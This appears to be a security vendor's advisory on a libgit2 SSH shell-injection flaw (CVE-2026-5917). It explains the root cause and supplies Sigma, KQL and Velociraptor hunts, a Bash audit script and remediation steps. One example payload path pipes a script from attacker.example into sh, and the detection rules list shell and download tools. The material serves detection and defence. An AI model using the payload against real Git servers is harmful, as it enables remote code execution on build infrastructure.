Back to Intelligence

CVE-2026-5917: Critical Shell Command Injection in libgit2's libssh2 Backend — Detection and Remediation Guide

SA
Security Arsenal Team
August 12, 2026
13 min read

NVD has published CVE-2026-5917, a CVSS 9.6 (CRITICAL) shell command injection vulnerability in libgit2 — the embeddable Git library that underpins countless developer tools, CI/CD pipelines, Git hosting services, and IDE integrations. The flaw affects libgit2 versions v0.27.0 through v1.9.0 when built with the libssh2 SSH backend (USE_SSH=libssh2).

The mechanics are ugly in their simplicity: the gen_proto() function in ssh_libssh2.c takes the repository path from a remote URL and inserts it directly into a shell command string — without escaping shell metacharacters — before handing it to libssh2_channel_exec(). An attacker who controls a repository path (for example, via a malicious submodule URL in a .gitmodules file) can inject arbitrary commands using single quotes, semicolons, or pipes, and have them executed on the SSH server the client connects to.

That last part deserves emphasis, because it inverts the trust model most teams assume. The victim here is frequently the Git server or CI runner acting as an SSH endpoint — a developer workstation or build agent that clones a hostile repository hands the attacker code execution on the remote side of its own SSH session. Any organization whose developers or automation interact with untrusted repositories (open-source dependencies, vendor code, external contributors) is in scope. Treat this as a priority-one remediation for build infrastructure.

Technical Analysis

Affected Component and Versions

AttributeDetail
CVECVE-2026-5917
CVSS9.6 (CRITICAL) — network-exploitable
Affected productlibgit2 v0.27.0 through v1.9.0
Required build conditionCompiled with USE_SSH=libssh2 (libssh2 SSH backend)
Vulnerable functiongen_proto() in ssh_libssh2.c
Sinklibssh2_channel_exec()
Attack vectorCrafted repository path / submodule URL in .gitmodules

How the Vulnerability Works (Defender's View)

When libgit2 performs an SSH transport operation (clone, fetch, push against an ssh:// remote), it must ask the server to execute the appropriate Git service command — git-upload-pack or git-receive-pack — with the repository path as an argument. The gen_proto() function builds that command as a single string:

Code
git-upload-pack '<repo_path>'

The repository path is interpolated into the command without sanitization or quoting hardening and passed to libssh2_channel_exec(), which instructs the SSH server to run the string through its shell. A path like:

Code
foo'; curl http://attacker.example/x.sh | sh; #

closes the single-quoted string, appends attacker commands, and comments out the trailing quote. The server-side shell executes the injected commands with the privileges of the SSH-authenticated account.

Exploitation Chain

  1. Attacker creates a repository containing a .gitmodules file whose submodule url field contains shell metacharacters in the path component.
  2. Victim (developer, CI job, or any tool embedding a vulnerable libgit2 build) performs a clone --recursive or submodule update against a repository referencing the attacker's SSH host — or the attacker hosts the repo such that the victim's tool connects to the attacker-controlled SSH server.
  3. libgit2's gen_proto() builds the exec command with the unescaped path and calls libssh2_channel_exec().
  4. The injected command executes on the SSH server in the context of the authenticated session.

Exploitation Requirements and Status

  • Prerequisites: The victim-side tooling must be linked against a vulnerable libgit2 built with USE_SSH=libssh2 (not the default libssh backend, not the bundled WinHTTP/HTTPS transports). The victim must initiate an SSH-based Git operation against attacker-influenced input — realistically via recursive clone of a malicious repo or processing an untrusted .gitmodules.
  • Exploitation status at publication: The vulnerability is publicly documented via NVD with a clear technical description of the root cause and sink. Given that command construction flaws of this class are trivially weaponized once described, treat public PoC emergence as imminent even if none is confirmed yet. At time of writing, CVE-2026-5917 has not been added to the CISA Known Exploited Vulnerabilities catalog — but waiting for KEV inclusion before patching a CVSS 9.6 RCE in developer infrastructure is how organizations end up in IR engagements.

Why This Matters Beyond the Obvious

The blast radius extends well past the git CLI (which is not itself libgit2). Vulnerable surfaces include:

  • CI/CD runners and build agents embedding libgit2 (many vendor and custom tools do).
  • IDE and editor Git integrations built on libgit2.
  • Git hosting and code review services using libgit2 server-side.
  • Custom internal tooling — artifact sync, repo mirrors, dependency vendoring scripts.

The .gitmodules vector is especially dangerous in CI: pipelines routinely run git submodule update --init --recursive on untrusted pull requests, which is precisely the attacker-controlled-input scenario this bug rewards.

Detection & Response

Detection here focuses on the two observable behaviors: (1) suspicious process lineage where Git-related processes spawn shells or interpreters, and (2) shell metacharacters appearing in Git SSH command lines or .gitmodules content. Tune to your environment — build agents legitimately spawn shells, so anchor on lineage plus metacharacter patterns.

Sigma Rules

YAML
---
title: Suspicious Shell Metacharacters in Git SSH Remote Path
description: Detects Git or libgit2-embedded processes invoked with SSH URLs whose path component contains shell metacharacters (single quote, semicolon, pipe, backtick, dollar-paren), consistent with CVE-2026-5917 exploitation via a crafted submodule URL or repository path.
author: Security Arsenal
date: 2026/02/09
status: experimental
references:
  - https://nvd.nist.gov/vuln/detail/CVE-2026-5917
  - https://attack.mitre.org/techniques/T1059/
logsource:
  category: process_creation
  product: linux
detection:
  selection_git:
    Image|endswith:
      - '/git'
      - '/git-remote-ssh'
      - '/git-upload-pack'
      - '/git-receive-pack'
  selection_meta:
    CommandLine|contains:
      - "ssh://"
      - "';"
      - "'; "
      - ';|'
      - '| sh'
      - '|sh'
      - '| bash'
      - '|bash'
      - '`'
      - '$('
  condition: selection_git and selection_meta
falsepositives:
  - Unusual but legitimate repository naming on self-managed Git servers; rare
level: high
---
title: Git Process Spawning Shell or Download Utility
description: Detects Git transport processes spawning shells or network download utilities, a common post-injection behavior for CVE-2026-5917 where injected commands retrieve second-stage payloads.
author: Security Arsenal
date: 2026/02/09
status: experimental
references:
  - https://nvd.nist.gov/vuln/detail/CVE-2026-5917
  - https://attack.mitre.org/techniques/T1059.004/
  - https://attack.mitre.org/techniques/T1105/
logsource:
  category: process_creation
  product: linux
detection:
  selection_parent:
    ParentImage|endswith:
      - '/git'
      - '/git-remote-ssh'
      - '/git-upload-pack'
      - '/git-receive-pack'
      - '/sshd'
  selection_child:
    Image|endswith:
      - '/sh'
      - '/bash'
      - '/dash'
      - '/curl'
      - '/wget'
      - '/nc'
      - '/ncat'
      - '/python'
      - '/python3'
      - '/perl'
  filter_sshd_git_shell:
    ParentImage|endswith: '/sshd'
    Image|endswith:
      - '/sh'
      - '/bash'
  condition: selection_parent and selection_child and not filter_sshd_git_shell
falsepositives:
  - CI/CD build agents where Git checkouts legitimately trigger build scripts; filter by known runner hostnames
level: high
---
title: Malicious .gitmodules Submodule URL With Shell Metacharacters
description: Detects writes or modifications to .gitmodules files containing shell metacharacters in url fields, indicating a potentially weaponized submodule URL used to trigger CVE-2026-5917.
author: Security Arsenal
date: 2026/02/09
status: experimental
references:
  - https://nvd.nist.gov/vuln/detail/CVE-2026-5917
  - https://attack.mitre.org/techniques/T1195/
logsource:
  category: file_event
  product: linux
detection:
  selection:
    TargetFilename|endswith: '.gitmodules'
  selection_content:
    TargetFilename|contains:
      - "';"
      - '|'
      - '$('
      - '`'
  condition: selection and selection_content
falsepositives:
  - Extremely rare; .gitmodules URLs never legitimately contain shell metacharacters
level: critical

A note on the third rule: file-content inspection at the Sigma layer depends on your file integrity monitoring providing content context (e.g., osquery file_events with carve, or a FIM with diff capture). If your pipeline only logs paths, deploy this as a scheduled content grep instead — see the Bash section below.

KQL — Microsoft Sentinel / Defender

Hunt across Linux process telemetry (ingested via Syslog/CEF or Defender for Endpoint on Linux) for Git process creation carrying injected metacharacters, and for suspicious child processes of Git/sshd on build infrastructure.

KQL — Microsoft Sentinel / Defender
// Hunt 1: Git SSH operations with shell metacharacters in the remote path
let lookback = 7d;
union isfuzzy=true
    (DeviceProcessEvents
    | where TimeGenerated > ago(lookback)
    | where FileName in~ ("git", "git-remote-ssh", "git-upload-pack", "git-receive-pack")
    | where ProcessCommandLine has_any ("';", "| sh", "|sh", "| bash", "|bash", "$(", "`")
    | project TimeGenerated, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessFileName, Source="MDE"),
    (Syslog
    | where TimeGenerated > ago(lookback)
    | where ProcessName in~ ("git", "git-remote-ssh", "git-upload-pack", "git-receive-pack")
    | where SyslogMessage has_any ("ssh://", "';", "| sh", "|sh", "| bash", "|bash", "$(", "`")
    | where SyslogMessage has_any ("';", "| sh", "|sh", "| bash", "|bash", "$(", "`")
    | project TimeGenerated, Computer, HostIP, ProcessName, SyslogMessage, Source="Syslog")
| order by TimeGenerated desc;

// Hunt 2: Suspicious child processes spawned by Git or sshd on build/dev infrastructure
DeviceProcessEvents
| where TimeGenerated > ago(7d)
| where InitiatingProcessFileName in~ ("git", "git-remote-ssh", "git-upload-pack", "git-receive-pack", "sshd")
| where FileName in~ ("sh", "bash", "dash", "curl", "wget", "nc", "ncat", "python", "python3", "perl")
| where not(InitiatingProcessFileName =~ "sshd" and FileName in~ ("sh", "bash") and ProcessCommandLine has_any ("git-upload-pack", "git-receive-pack"))
| project TimeGenerated, DeviceName, AccountName, InitiatingProcessFileName, InitiatingProcessCommandLine, FileName, ProcessCommandLine
| order by TimeGenerated desc;

// Hunt 3: Outbound connections from shells spawned under Git/sshd lineage (payload retrieval)
DeviceNetworkEvents
| where TimeGenerated > ago(7d)
| where InitiatingProcessFileName in~ ("curl", "wget", "nc", "ncat", "python", "python3", "perl", "sh", "bash")
| where InitiatingProcessParentFileName in~ ("git", "git-remote-ssh", "git-upload-pack", "git-receive-pack", "sshd", "sh", "bash")
| where RemoteIPType == "Public"
| project TimeGenerated, DeviceName, InitiatingProcessParentFileName, InitiatingProcessFileName, InitiatingProcessCommandLine, RemoteUrl, RemoteIP, RemotePort
| order by TimeGenerated desc;

Velociraptor VQL

Use this hunt artifact on Linux build agents, developer endpoints, and Git servers to surface live suspicious lineage. Pair it with a .gitmodules content sweep across checked-out repositories.

VQL — Velociraptor
-- Hunt: Suspicious Git/SSH process lineage consistent with CVE-2026-5917 exploitation
-- Identifies shells, download tools, and interpreters spawned by git or sshd,
-- and git processes whose command lines contain shell metacharacters.
LET suspicious_children = SELECT Pid, Ppid, Name, Exe, CommandLine, Username, CreateTime
FROM pslist()
WHERE Name =~ '^(sh|bash|dash|curl|wget|nc|ncat|python3?|perl)$'

LET parents = SELECT Pid, Name, CommandLine FROM pslist()

SELECT a.Pid AS ChildPid,
       a.Name AS ChildName,
       a.CommandLine AS ChildCmdline,
       a.Username AS ChildUser,
       a.CreateTime AS ChildStart,
       b.Pid AS ParentPid,
       b.Name AS ParentName,
       b.CommandLine AS ParentCmdline
FROM suspicious_children a
JOIN parents b ON a.Ppid = b.Pid
WHERE b.Name =~ '^(git|git-remote-ssh|git-upload-pack|git-receive-pack|sshd)$'
  AND NOT (b.Name =~ 'sshd' AND a.CommandLine =~ 'git-(upload|receive)-pack')

-- Companion hunt: .gitmodules files with shell metacharacters in URL fields
LET gm = SELECT FullPath, Data AS Content
FROM glob(globs=['/**/.gitmodules'], accessor='file')
WHERE Content =~ "url\s*=\s*.*[;'|`]"
   OR Content =~ 'url\s*=\s*.*\$\('

SELECT FullPath, Content FROM gm

The /** glob is expensive on large file servers — scope it to known checkout roots (/home/*/src/**, /var/lib/buildkite-agent/**, /opt/ci/**) in production hunts.

Verification and Remediation Script (Bash)

This script inventories libgit2 installations, identifies vulnerable version/build combinations, and sweeps checked-out repositories for weaponized .gitmodules files. Run it on build agents, developer images, and any host with libgit2-linked tooling.

Bash / Shell
#!/usr/bin/env bash
# CVE-2026-5917 — libgit2 (libssh2 backend) shell injection: audit and verify
# Run as root or with sudo for complete filesystem visibility.
set -euo pipefail

echo "=== [1/4] Locating libgit2 shared libraries ==="
LIBGIT2_SO=$(ldconfig -p 2>/dev/null | grep -i 'libgit2' || true)
echo "$LIBGIT2_SO"
if [ -z "$LIBGIT2_SO" ]; then
  echo "[!] No libgit2 in linker cache — checking common paths and statically linked binaries."
fi

echo
echo "=== [2/4] Extracting libgit2 version ==="
for so in $(echo "$LIBGIT2_SO" | awk '{print $NF}' | sort -u); do
  VER=$(basename "$so" | grep -oE '[0-9]+\.[0-9]+(\.[0-9]+)?' | head -1)
  echo "  $so -> version ${VER:-unknown}"
  MAJ=$(echo "$VER" | cut -d. -f1); MIN=$(echo "$VER" | cut -d. -f2); PAT=$(echo "$VER" | cut -d. -f3); PAT=${PAT:-0}
  # Vulnerable: 0.27.0 <= v < 1.9.1 (fixed in 1.9.1); flag anything <= 1.9.0 in that window
  if { [ "$MAJ" -eq 0 ] && [ "$MIN" -ge 27 ]; } || { [ "$MAJ" -eq 1 ] && { [ "$MIN" -lt 9 ] || { [ "$MIN" -eq 9 ] && [ "$PAT" -lt 1 ]; }; }; }; then
    echo "  [VULNERABLE RANGE] $so (${VER}) — confirm build backend below and upgrade to >= 1.9.1"
  fi
done

echo
echo "=== [3/4] Checking which libgit2 consumers link libssh2 (vulnerable backend) ==="
# A vulnerable deployment links BOTH libgit2 and libssh2
for bin in $(which git2 2>/dev/null; ls /usr/local/bin /usr/bin 2>/dev/null); do
  if ldd "$bin" 2>/dev/null | grep -q 'libgit2' && ldd "$bin" 2>/dev/null | grep -q 'libssh2'; then
    echo "  [REVIEW] $bin links libgit2 + libssh2 — potentially affected if libgit2 <= 1.9.0"
  fi
done 2>/dev/null | sort -u
# CMake builds: check for USE_SSH=libssh2 artifacts
find /usr /opt /usr/local -name 'CMakeCache.txt' -exec grep -l 'USE_SSH.*libssh2' {} \; 2>/dev/null | while read -r f; do
  echo "  [REVIEW] Build configured with libssh2 backend: $f"
done

echo
echo "=== [4/4] Sweeping checked-out repos for weaponized .gitmodules ==="
find /home /srv /opt /var/lib /tmp -name '.gitmodules' -type f 2>/dev/null | while read -r gm; do
  if grep -nE 'url[[:space:]]*=[[:space:]]*.*["'"'"';|&`]|["'"'"']url[[:space:]]*=.*\$\(' "$gm" 2>/dev/null; then
    echo "  [ALERT] Suspicious .gitmodules: $gm"
  fi
done
echo
echo "=== Audit complete. Upgrade libgit2 to 1.9.1+ (or rebuild without USE_SSH=libssh2) where flagged. ==="

Remediation

  1. Upgrade libgit2 to the fixed release immediately. The vulnerability spans v0.27.0 through v1.9.0; upgrade to libgit2 v1.9.1 or later (confirm the exact fixed version against the libgit2 security advisory at https://github.com/libgit2/libgit2/security/advisories and the NVD entry at https://nvd.nist.gov/vuln/detail/CVE-2026-5917, which list the patched release). Because libgit2 is a library, upgrading means rebuilding or redeploying every application that links it — identify consumers via the ldd audit above, package managers (dpkg -S, rpm -qf), and container image scans.
  2. Rebuild without the vulnerable backend as a workaround. If you cannot upgrade immediately, rebuild libgit2 without USE_SSH=libssh2 (use the default libssh backend or shell out to the system ssh binary). Only builds configured with the libssh2 backend are affected — confirm your build configuration before assuming exposure.
  3. Block untrusted recursive clones in CI. Until patches are deployed, disable git clone --recursive and git submodule update --init --recursive against untrusted sources (fork PRs, external repos). Add a pipeline pre-step that greps .gitmodules for metacharacters ([;'|&\$(]`) and fails the build on a match.
  4. Harden the SSH-server side. Git servers exposed to vulnerable clients should run Git operations under a restricted shell (git-shell), with no-pty, no-port-forwarding, and no-agent-forwarding in authorized_keys options. A restricted git-shell still parses the command line, but constraining the account's shell and filesystem permissions limits post-injection impact.
  5. Segment build infrastructure. CI runners handling untrusted code must be ephemeral, network-egress-restricted, and isolated from secrets and production credentials. If injection fires, the blast radius should be a disposable container with no reusable tokens.
  6. Prioritize internet-facing and developer-facing assets. Any service that accepts repository URLs from users (repo mirrors, import tools, code search indexers, dependency analyzers) is directly attacker-reachable. Patch these first; developer workstations and IDE integrations follow.
  7. Monitor the KEV catalog. CVE-2026-5917 is not currently in CISA KEV; if added, federal agencies face a Binding Operational Directive deadline and private-sector teams should treat that as confirmation of active exploitation and escalate accordingly.

The pattern here — a library silently constructing shell commands from attacker-controlled strings — recurs constantly in supply-chain tooling. If you take one structural lesson from CVE-2026-5917, make it this: treat every repository your automation touches as hostile input, and inventory which native libraries your toolchain actually links. Most organizations cannot answer the second question today. The audit script above is a starting point.

Related Resources

Security Arsenal Penetration Testing Services AlertMonitor Platform Book a SOC Assessment vulnerability-management Intel Hub

Is your security operations ready?

Get a free SOC assessment or see how AlertMonitor cuts through alert noise with automated triage.